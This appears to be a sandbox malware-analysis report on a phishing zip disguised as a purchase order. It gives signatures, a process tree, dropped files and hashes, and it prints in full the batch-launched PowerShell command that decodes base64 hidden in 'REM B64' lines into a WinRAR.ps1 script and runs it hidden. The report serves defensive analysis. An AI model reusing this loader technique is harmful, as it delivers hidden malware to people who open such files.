Analysis

  • user interaction
    yes
  • max time kernel
    251s
  • max time network
    243s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260130-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    23/04/2026, 07:02

General

  • Target
    OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026).zip
  • Size 9KB
  • Sample260423-httr2adx2w
  • SHA256 4cf21a5ff080bd45b827ae0553d1d72096396f3580ce7f70d097b2c485355221
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 2 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Run Powershell and hide display window.

  • Suspicious behavior: EnumeratesProcesses 35 IoCs
  • Suspicious use of AdjustPrivilegeToken 10 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\Explorer.exe
    C:\Windows\Explorer.exe /idlist,,"C:\Users\Admin\AppData\Local\Temp\OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026).zip"
    1⤵
      PID:4660
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:5064
      • C:\Program Files\7-Zip\7zG.exe
        "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026)\" -spe -an -ai#7zMap1580:142:7zEvent4547
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:5692
      • C:\Program Files\7-Zip\7zG.exe
        "C:\Program Files\7-Zip\7zG.exe" x -o"C:\Users\Admin\Desktop\OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026)\" -spe -an -ai#7zMap9317:142:7zEvent4809
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        PID:2080
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Desktop\OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026)\OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026).bat" "
        1⤵
        • Suspicious use of WriteProcessMemory
        PID:1192
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /K "C:\Users\Admin\Desktop\OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026)\OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026).bat"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:6020
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -NoProfile -ExecutionPolicy Bypass -Command "$s = Get-Content -Raw -Encoding ASCII 'C:\Users\Admin\Desktop\OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026)\OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026).bat'; $lines = $s -split '\r?\n'; $b = ($lines | Where-Object {$_ -like 'REM B64*'}) -replace '^REM B64\s*',''; $destDir = Join-Path $env:ProgramData 'WinRAR'; If (!(Test-Path $destDir)) { New-Item -ItemType Directory -Path $destDir | Out-Null }; $dest = Join-Path $destDir 'WinRAR.ps1'; [System.IO.File]::WriteAllBytes($dest, [Convert]::FromBase64String(($b -join ''))); Start-Sleep -Milliseconds 50; Start-Process -FilePath 'powershell' -ArgumentList '-NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -File "' + $dest + '"' -WindowStyle Hidden"
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:700
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile -File "C:\ProgramData\WinRAR\WinRAR.ps1"
            3⤵
            • Badlisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of SetWindowsHookEx
            • Suspicious use of WriteProcessMemory
            PID:4992
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\vtzgcitj\vtzgcitj.cmdline"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4600
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES641A.tmp" "c:\Users\Admin\AppData\Local\Temp\vtzgcitj\CSC7BDE3ABD6340480887137BF77394AD.TMP"
                5⤵
                  PID:6052
        • C:\Windows\System32\NOTEPAD.EXE
          "C:\Windows\System32\NOTEPAD.EXE" C:\Users\Admin\Desktop\OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026)\OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026).bat
          1⤵
            PID:1848
          • C:\Windows\system32\wbem\WmiApSrv.exe
            C:\Windows\system32\wbem\WmiApSrv.exe
            1⤵
              PID:3744

            Network

                  MITRE ATT&CK Enterprise v16

                  Replay Monitor

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                  Downloads

                  WinRAR.ps1

                  • Path C:\ProgramData\WinRAR\WinRAR.ps1
                  • Size 15KB
                  • SHA256 84697fafab90329b6736dc240fafe361e9b8dacbf0e235d86ff6ba889d8ae79c
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  powershell.exe.log

                  • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                  • Size 3KB
                  • SHA256 1022ec2fed08ff473817fc53893e192a8e33e6a16f3d2c8cb6fd37f49c938e1e
                  • MD5 SHA1 SHA512 TLSH

                  StartupProfileData-NonInteractive

                  • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                  • Size 1KB
                  • SHA256 fe97054421c5a1fc8a3b186841fe372015e20422bf214639d31ba1929c5b1a2b
                  • MD5 SHA1 SHA512 TLSH

                  RES641A.tmp

                  • Path C:\Users\Admin\AppData\Local\Temp\RES641A.tmp
                  • Size 1KB
                  • SHA256 3621f32b0d0fc3de158f3c9bc2a6ecb067d55203c22a4e81310bf94ed239f148
                  • MD5 SHA1 SHA512 TLSH

                  __PSScriptPolicyTest_zgkhyr4u.k22.ps1

                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zgkhyr4u.k22.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512 TLSH

                  vtzgcitj.dll

                  • Path C:\Users\Admin\AppData\Local\Temp\vtzgcitj\vtzgcitj.dll
                  • Size 3KB
                  • SHA256 ba32217114263e4162adbc6932b342c8b29fa9d85f587c643617885f4fbbff91
                  • MD5 SHA1 SHA512 TLSH

                  OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026).bat

                  • Path C:\Users\Admin\Desktop\OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026)\OFFICIAL PURCHASE ORDER ITEMS ( 4-23-2026).bat
                  • Size 24KB
                  • SHA256 a58dfb47b9953f7166c13f64ee48b0d33de92a1ce4ce6f61cd7a3d4230a0dff8
                  • MD5 SHA1 SHA512 SSDEEP TLSH

                  CSC7BDE3ABD6340480887137BF77394AD.TMP

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\vtzgcitj\CSC7BDE3ABD6340480887137BF77394AD.TMP
                  • Size 652B
                  • SHA256 87b944516ab62b113c2b76ca700f5b81baa882a5afdffc6210d25345e155c511
                  • MD5 SHA1 SHA512 TLSH

                  vtzgcitj.0.cs

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\vtzgcitj\vtzgcitj.0.cs
                  • Size 589B
                  • SHA256 e9ee39db371c7a0fa08b8845853498de50743fe171d8b4f8ccf7f7c6a9b99a42
                  • MD5 SHA1 SHA512 TLSH

                  vtzgcitj.cmdline

                  • Path \??\c:\Users\Admin\AppData\Local\Temp\vtzgcitj\vtzgcitj.cmdline
                  • Size 369B
                  • SHA256 9c1ea03e8a0063c31538094a3235aaf883cbb5e53d53cf7b31620e452acefeb6
                  • MD5 SHA1 SHA512 TLSH

                  memory/700-14-0x0000026C0E610000-0x0000026C0E61C000-memory.dmp

                  memory/700-10-0x0000026C26E90000-0x0000026C26EB2000-memory.dmp

                  memory/700-15-0x0000026C0EB80000-0x0000026C0EB88000-memory.dmp

                  memory/4600-47-0x000001DCC50A0000-0x000001DCC50A8000-memory.dmp

                  memory/4600-48-0x000001DCC50C0000-0x000001DCC50CC000-memory.dmp

                  memory/4992-32-0x00007FFC9ADC0000-0x00007FFC9B881000-memory.dmp

                  memory/4992-26-0x0000019A79F90000-0x0000019A79F9C000-memory.dmp

                  memory/4992-50-0x0000019A7A110000-0x0000019A7A118000-memory.dmp

                  memory/4992-27-0x0000019A7A0A0000-0x0000019A7A0A8000-memory.dmp

                  memory/4992-51-0x0000019A7A6F0000-0x0000019A7A706000-memory.dmp

                  memory/6052-44-0x0000014DEF030000-0x0000014DEF03C000-memory.dmp